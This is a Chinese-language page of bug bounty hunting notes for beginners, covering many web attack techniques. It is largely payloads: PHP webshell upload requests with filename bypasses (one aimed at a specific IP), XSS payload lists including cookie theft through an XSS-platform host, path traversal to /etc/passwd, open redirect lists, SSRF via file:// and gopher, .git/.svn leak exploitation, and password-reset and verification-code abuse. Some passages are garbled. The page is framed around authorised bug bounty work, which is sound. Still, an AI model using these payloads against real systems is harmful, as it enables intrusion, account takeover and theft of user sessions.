赞
踩
- src推荐刚入门的新手首选公益src如漏洞盒子、补天src,因为漏洞盒子收录范围广,只要是国内的站点都收入,相比其它src平台挖掘难度非常适合新手。后续可以尝试先从一些小的src厂商入手。
- 首先是熟能生巧,我一开始挖洞的时候,是先从教育edusrc,cnvd平台进行挖掘漏洞,但这种打法如果放到src,我打的很吃力,因为前者基本都是拿网上公开的nday打,而后者全是技巧和思路。
- 在挖掘src的同时,必须读懂src平台的规则,千万不得越红线,同时也要熟悉src平台的收录规则,收录那些漏洞,不然挖到后发现被忽略,这样就前功尽弃了
svg、pdf、html、xml
- <!DOCTYPE html>
- <html>
- <head>
- <title></title>
- <meta charset="utf-8">
- <script type="text/javascript">
- alert("testxss");
- </script>
- </head>
- <body>
*svg
- <svg xmlns="http://www.w3.org/2000/svg" version="1.1">
- <circle cx="100" cy="50" r="40" stroke="black" stroke-width="2" fill="red" />
- <script>alert(1)</script>
- </svg>
-
- <?xml version=”1.0" standalone=”no”?>
- <!DOCTYPE svg PUBLIC “-//W3C//DTD SVG 1.1//EN” “http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version=”1.1" baseProfile=”full” xmlns=”http://www.w3.org/2000/svg">
- <polygon id=”triangle” points=”0,0 0,50 50,0" fill=”#009901" stroke=”#004400"/>
- <script type=”text/javascript”>
- alert(document.cookie);
- </script>
- </svg>
存在文件上传的地方, 嵌套xss语句
将准备好了的图片xss上传,imge/png ,html.html.png
svg重定向
- <code>
- <?xml version="1.0"encoding="UTF-8"standalone="yes"?>
- <svg
- onload"window.location='http://www.example.com'"
- xmlns="http://www.w3.org/2000/svg">
- </svg>
- </code>
当上传的路径时候,如果不能上传解析路径,则可以尝试是否存路径可控
- 则原来是user_apply_file
- 修改后上传的路径为1/23/456/user_app_file
phtml、pht、php、php3、php4、php5
此方法适合windows环境下,如果是Php,可以当做php来解析
- 那么php和php ,当然是不⼀样的
- # filename="shell.png "
- #**windows**中有一个特性,会自动去掉后缀名的
- ------WebKitFormBoundary0BAvi6S3ETKPlJw4
- Content-Disposition: form-data; name="upload_file"; filename="shell.php."
- Content-Type: image/png
- <?php eval($_REQUEST[8]);?>
- ------WebKitFormBoundary0BAvi6S3ETKPlJw4
- #windows文件流绕过
- ------WebKitFormBoundary6iEJqkiHLxaG6mxM
- Content-Disposition: form-data; name="upload_file"; filename="shell.php:DATA"
- Content-Type: image/png
- <?php eval($_REQUEST[8]);?>
- ------WebKitFormBoundary6iEJqkiHLxaG6mxM
- #file_ext = strrchr($file_name, '.'); 是检测末尾最后是否是. (很明显是为了防御双写.)我们可以写⼀个空
- ------WebKitFormBoundary3b4MZBZoOnzEpoeC
- Content-Disposition: form-data; name="upload_file"; filename="shell.php. ."
- Content-Type: image/png
- <?php eval($_REQUEST[8]);?>
- ------WebKitFormBoundary3b4MZBZoOnzEpoeC
- #$file_name = str_ireplace($deny_ext,"", $file_name);这⾥的意思就是讲检测到的危险字符替换为空
- ------WebKitFormBoundary3b4MZBZoOnzEpoeC
- Content-Disposition: form-data; name="upload_file"; filename="shell.pphphp"
- Content-Type: image/png
- <?php eval($_REQUEST[8]);?>
- ------WebKitFormBoundary3b4MZBZoOnzEpoeC
- #他会⾃动重命名, $img_path = $_GET['save_path']."/".rand(10,99).date("YmdHis").".".$file_ext;这⾥很明显使⽤了直接的拼接
- POST /Pass-11/index.php?save_path="'/upload/shell.php%00 HTTP/1.1
- Host: 59.63.200.79:8016
- -----WebKitFormBoundaryZIDuWzIommKYBtmZ
- Content-Disposition: form-data; name="upload_file"; filename="shell.jpg"
- Content-Type: image/jpeg
- <?php eval($_REQUEST[8]);?>
- ------WebKitFormBoundaryZIDuWzIommKYBtmZ`
使用分号进行截断,访问的时候要访问带分号的全名
test.asa;1.gif
目录名代.asp,目录内的文件就会被当做asp文件执行
123.asp/12.jpg
在文件名后加/.php,文件就会被当做php截止
1.jpg/.php
轰炸、注册、验证码爆破、验证码相关、nday、弱口令、ddos、注入、枚举、越权、二维码劫持、js、url、返回包、信息泄露、rce、xss、ssrf、sql
- 可以使用并发、url编码进行、重放
- 手机号码前后加空格,86,086,0086,+86,0,00,/r,/n, ,以及特殊符号等
mobile=1xxxxxxxxxx&openid=
%09 TAB 键(水平)、%0a 新建一行、%0c 新的一页、%0d return 功能、%0b TAB 键(垂直)、%a0 空格
&height=1111&h=1111&size&1111&ma
邀请码泄露
如使用1的手机号的验证码,如输入2的手机的验证码,来修改密码或者登录
修改返回包
flase--true
在注册用户的时候,输入两个手机号:mobile=123456,123456
在删除用户信息的时候,如果用户的账号是通过uid来判断的,可以尝试是否能双写
输入需要找回的用户 在下发手机验证码时候用burp将手机改为自己的手机号 输入我们收到的验证码,提交时将手机修改为自己的手机号 然后输入新的密码
重置链接
重置密码,会将链接发送到邮箱中,可以通过邮箱base64解码,来判断账号
js验证
查看源代码是否有信息
可以利用恶意注册用户,来消耗系统资源 #验证码和手机号没有做绑定 #使用一个正确的手机号获取一个验证码,输入验证码后,将原来的手机号换成其他的
很多网站都会有二维码登录,扫描后直接就可以登录对应的账号,但是在二维码扫描后没有进行再次确认,就会导致二维码劫持,可以将二维码转换成url后进行发送给好友进行点击
接管账号
name =lili&oldpass =1111111&newpass =123456&newpass =123456 name =lili&newpass =123456&newpass =123456 #将密码设置为空
由于设计缺陷,会预设类似于token的效验票据,可能导致admin票据任意密码重置
将access0-reset-ticket的票据设置到自己需要设置重置密码的票据
如果在登录框中没有可利用点,就尝试在js文档中,查看是否有接口路径 # /BaseInfo/SystemSet/AlterPassword.html?ID=1 这里的id等于 1,则是管理员账户的重置密码
在任意密码重置的时候,输入的手机号码是B账户的,发送请求包 burp中拦截请求包,在请求包中修改手机号码为A的手机的账户 在A的手机上接受到验证码后,将验证码输入到当时重置密码的时候B账户 如此就可以成功进入到B账户的重置密码的界面了
这一步的时候,将填写密码的url复制到其它浏览器中,如果还是可以能修改密码,则存在业务回退‘、
业务上线一般存在业务查询范围中,如果设定了指定的查询天数,如果通过修改的参数,来实现可以查看的天数,则存在该逻辑漏洞
- # 第一反应就是遍历、并发
- 如果并发不行,就可以尝试将浏览器回退前面一个网页 然后继续领取
- 或者是修改本地的时间
这里可以通过burp抓包工具抓包,查看调用的什么接口,让后观察请求的内容是否有地理位置,如果存在,则使用百度或者其他地理位置查询,查询到坐标后,进行修改。
比如首月多少6,第二个月开始20,尝试在购买的时候,分别使用两个支付方式支付,然后都支付后,发现是否使用两个6元支付,是否能获得两个月的
Turbo Intruder 是一个 BurpSuite 插件,用于发送大量HTTP请求并分析结果
测试并发漏洞
并发与爆破的区别是,并发是同一个时间发送的请求,在上方框中,插入一个x-req:%s
在burp中设置需要使用的点和py脚本
在30个连接中各放入一个请求,但会留下最后一个字节不发送出去,然后在第 15 行处等待30个连接中的请求都准备好后一起发送最后一个字节,这样服务器就会同时处理30个请求,从而达到了并发测试的目的。
在含有下载的参数中:file=../../../../etc/passwd
重点:path、filename,有点像目录遍历,跨目录、../../超出限制等。下载或读取其他文件
- 原来是:path=edu.gi
- path=/etc/passwd
在返回包中,查看是否存在一个数组为空的情况,如果存在则一般就会有越权
越权删除
如果在请求包中删除的是id,如果单个id不能删除的话,可以进行尝试#{454,568}
白名单
url =http://example.com@evil.com url =http://example.com/evil.com
从参数入手:
radirect redirect_to redirect_url url jump jump_to target to link linkto domain
绕过技巧
#斜线绕过 url =/ http://www.baidu.com // http://www.baidu.com #符号绕过 url = https://www.xx.com@www.baidu.com https://www.xx.com #http://www.baidu.com https://www.xx.com/www.baidu.com https://www.xx.com ? http://www.baidu.com https://www.xx.com\\ http://www.baidu.com url =. http://evil.com \.
- /%09/google.com
- /%5cgoogle.com
- //www.google.com/%2f%2e%2e
- //www.google.com/%2e%2e
- //google.com/
- //google.com/%2f..
- //\google.com
- /\victim.com:80%40google.com
- #可能的开放重定向参数
- ?url=http://{target}
- ?url=https://{target}
- ?next=http://{target}
- ?next=https://{target}
- ?url=https://{target}
- ?url=http://{target}
- ?url=//{target}
- ?url=$2f%2f{target}
- ?next=//{target}
- ?next=$2f%2f{target}
- ?url=//{target}
- ?url=$2f%2f{target}
- ?url=//{target}
- /redirect/{target}
- /cgi-bin/redirect.cgi?{target}
- /out/{target}
- /out?{target}
- /out?/{target}
- /out?//{target}
- /out?/\{target}
- /out?///{target}
- ?view={target}
- ?view=/{target}
- ?view=//{target}
- ?view=/\{target}
- ?view=///{target}
- /login?to={target}
- /login?to=/{target}
- /login?to=//{target}
- /login?to=/\{target}
- /login?to=///{target}
TRACE
AK/SK泄露
- AccessKeyId
- SecretAccessKey
利用工具 githack.py 利用工具将源码下载下来,python githack.py http://ip/.git/ 下载下来
- git log #查看历史配置
- git diff 5341311234656321.321 #查看配置信息
.svn/entries https://github.com/admintony/svnExploit
/.bash_history #泄露的是历史操作命令 /debug/pprof/cmdline /.git/index/ .svn/entries /.DS_Store /graphql /tenant /sources actuator/env/ /swagger -ui.html...
# druid未授权访问 ip/druid/index.html ##Druid Index ip/druid/sql.html #Druid sql监控页面 ip/druid/weburi.html #Druid Web URI监控页面 ip/druid/websession.html #Druid Web Session监控页面 json:ip/druid/weburi.json ##Druid Web URI json ip/druid/websession.json ##Druid Web Session json Druid登录接口:ipl/druid/login..html #Druid登录认证页面Druid:未授权访问路径
在一些平台中,如果存在授权手机号的时候,可以通过burp抓包,然后来查看是否有返回的信息,因此可以遍历手机号查看是否有遍历
通过弹窗,注册app首次运行
- 隐私政策中点不进去或者点进去404
- 注册同意默认就勾了
- 隐私政策点进去是乱码
报告
- 标题:xxapp1.1.1版本存在隐私合规用户自动同意隐私政策漏洞
- 内容
- 修复建议:
拒绝提供不必要信息直接退出app的时候,也算是隐私合规
在评论处如果看到有匿名评论,可以通过抓包抓取到用户的评论,查看他对应的id号
可以将id号拼
- 高德webapi:
- https://restapi.amap.com/v3/direction/walking?origin=116.434307,39.90909&destination=116.434446,39.90816&key=这里写key
-
- 高德jsapi:
- https://restapi.amap.com/v3/geocode/regeo?key=这里写key&s=rsv3&location=116.434446,39.90816&callback=jsonp_258885_&platform=JS
-
- 高德小程序定位:
- https://restapi.amap.com/v3/geocode/regeo?key=这里写key&location=117.19674%2C39.14784&extensions=all&s=rsx&platform=WXJS&appname=c589cf63f592ac13bcab35f8cd18f495&sdkversion=1.2.0&logversion=2.0
-
- 百度webapi:
- https://api.map.baidu.com/place/v2/search?query=ATM机&tag=银行®ion=北京&output=json&ak=这里写key
-
- 百度webapiIOS版:
- https://api.map.baidu.com/place/v2/search?query=ATM机&tag=银行®ion=北京&output=json&ak=这里写key=iPhone7%2C2&mcode=com.didapinche.taxi&os=12.5.6
-
- 腾讯webapi:
- https://apis.map.qq.com/ws/place/v1/search?keyword=酒店&boundary=nearby(39.908491,116.374328,1000)&key=这里写key
存在xx地图api接管漏洞,攻击者可利用抓取的xx地图ak值任意调用属于xx的xx地图的api额度造成XX的xx地图api额度被恶意盗用,消耗等。当额度被消耗完毕后,会造成地图加载异常,定位服务无法使用等,影响用户体验。
jsfind
将跑出来的东西放到burp里面跑,尝试访问一下,看是否存在未授权访问
- 在burp中添加以下字段
- ?pageNum=1&pageSize=10
此类场景存在:图片验证码、二维码 、找回密码
- 关注一下接口地址:https://attack/validcode?w=130&h=53
- 参数值:w=130&h=53,我们可以理解为生成的验证码大小长为130,宽为53
- #可以根据修改参数的大小来判断服务器返回的时间
- height=1111
- h=1111
- size=1111
- margin=1111
在保存头像的时候通过抓包,然后修改头像的储存地址,将其修改为登录退出的url
portrait = http://baidu.com ====> http://baidu.com/logout
当其他的人在评论区访问后,浏览器会加载该头像的地址,可以直接造成用户直接退出
如果检测了referer头,可以尝试一下方案
- 删除refere头
- 将http请求头的目录名字设置为网站检测的fefere头
- 配合存储xss绕过严谨
函数:alert(),confirm(),prompt()
- 可以在url后面:?url=javascript:alert'1'
- <script>alert('X');</script>
- //<img src="image.jpg" alt="Description of the image">
- //<img src="valid-image.jpg" onerror="alert('Image failed to load')">(使用onfocus属性)
- <img src="javascript:alert('XSS Attack');" />
- <img src="invalid-image" onerror="alert('XSS Attack');" />
- <img src="valid-image.jpg" onerror="alert('XSS Attack')" />
- <img src="javascript:eval('alert(\'XSS Attack\')')" /> 使用eval函数执行代码
- //<a href="https://www.example.com">Visit Example Website</a>
- //<a onmouseover="console.log('Mouse over the link')">Hover me</a>(使用onmouseover属性)
- <a href="javascript:alert('XSS Attack');">Click me </a>
- <a style="color:red;" onmouseover="alert('XSS Attack')">Hover me</a>
- //<iframe src="https://www.example.com" width="600" height="400"></iframe>
- <iframe src="javascript:alert('XSS Attack');"></iframe>
- //<svg width="100" height="100">
- <circle cx="50" cy="50" r="40" stroke="black" stroke-width="3" fill="red" />
- </svg>
- <svg onload="alert('XSS Attack')"></svg>
- <body onload="alert('XSS Attack')"></body>
- <body background="javascript:alert('XSS Attack')">
- <body style="background-image: url(javascript:alert('XSS Attack'))">
- <input type="text" onfocus="alert('XSS Attack');" />
- //<div onmouseover="console.log('Mouse over the div')">Hover me</div>
- <div onmouseover="alert('XSS Attack')">Hover me</div>
- <table background="javascript:alert('XSS Attack')"></table>
- <form action="javascript:alert('XSS Attack')">
- <!-- form fields go here -->
- </form>
- <input type="image" src="javascript:alert('XSS Attack')" />
- <base href="javascript:alert('XSS Attack')">
- #搜索框
- 用户在搜索框中输入的关键词,如果没有正确过滤和转义用户输入,可能导致反射性xss
- #url参数
- 如果应用没有对这些参数进行适当的处理,可能导致反射性xss
- #表单提交
- #评论和留言板
- 评论和留言板更容易导致存储型xss,但是在某些情况下,如果没有对功能点进行过滤和转义,可能导致反射性xss
- #分页和排序
- web应用可能使用rul参数进行分页和排序,如果没有对这些参数进行适当的过滤和转义,可能导致反射性xss
- #数据可视化和报表
- web应用可能使用用户输入的参数进行适当的过滤和转义,可能导致反射性xss
- #路径导航
- web应用可能在路径导航中包含用户输入的内容,如果没有正确处理这些输入,可能导致反射性xss
在url参数中,尝试修改参数的值,然后查看网页源代码中是否有参数值,接着在尝试闭合绕过
参数->猜测每一个参数->查看源码->尝试闭合->进行测试<u>a</u>->猜测标签->事件->函数
同上所诉,在修改头像保存位置,可以结合利用xss平台,修改为xss平台获取cookie
portrait = http://baidu.com ====> http://xss.xsscookie.com
首先先在cmd命令中,运行phpantomjs.exe xss.js
接着选择payload
他代表了客户端的真实ip,通过修改的值就可以伪造 客户端ip,如果程序中获取了这个值,然后带入到数据库中,就会造成sql注入
在用户输入账户和密码的时候,可以造成rce
查看js源码中,查看是否存在api的接口,如果存在如:/api/register/user 则可以尝试是否存在可以利用点,一般情况下就直接拼接api接口,如果返回报错了,可以观察响应包中的内容,进行猜测。
- http://Web常见访问,如http://127.0.0.1
- file://从文件系统中获取文件内容,如,file://etc/passwd
- dict://字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
- sftp://SSH文件传输协议或安全文件传输协议
- ldap://轻量级目录访问协议
- t计tp://简单文件传输协议
- gopher://分布式文档传递服务,可使用gopherus生成payload
url解析与重定向、图片上传与处理、文件上传与处理、webhook功能、远程文件包含
<iframe src="http://6p076o.dnslog.cn">
点击保存头像,开启burpsuite抓包
可以看到avatar的一个参数,采用的是请求其他地方的图片,此时我们对这条URL进行修改
凭借dnslog并用#注释掉后面的URL地址
- url:表示外部资源的url
- redirect:用于重定向到外部资源的url
- callback:表示回调uro
- images:表示外部图片资源的url
- source:表示外部资源的来源url
- domain:表示要解析或访问的域名
- link:表示外部资源的链接url
- data:表示外部数据资源的url
- webhook:表示用于第三方通知的第三方服务的url
Gopher 协议是 HTTP 协议出现之前,在 Internet 上常⻅且常⽤的⼀个协议。当然现在 Gopher 协议已经慢慢淡出 历史。 Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作⽤。利⽤此协议可以攻击内⽹的 FTP、 Telnet、Redis、Memcache,也可以进⾏ GET、POST 请求。这⽆疑极⼤拓宽了 SSRF 的攻击⾯
协议格式
- gopher url 格式为:
- gopher://<host>:<port>/<gopher-path>
- <port> 默认为70。
- <gopher-path> 其中格式可以是如下其中的⼀种
- <gophertype><selector>
- <gophertype><selector>%09<search>
- <gophertype><selector>%09<search>%09<gopher+_string>
整个 部分可以省略,这时候 \也可以省略 为默认的1。 是⼀个单字符⽤来表示url 资源的类型,在常⽤的安全测试中发现不管这个字符是什么都不影响,只要有 就⾏了。
CORS(Cross-Origin Resource Sharing)即跨域资源共享,是用于绕过SOP(同源策略)来实现跨域资源访问的一种技术,是HTML5提供的一种机制。
当在请求头中加入
Origin:www.test.com
如果返回包中响应了
- Access-Control-Allow-origin www.test.com
- Access-Control-Allow-Credentials true
- #因此就存在cors
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。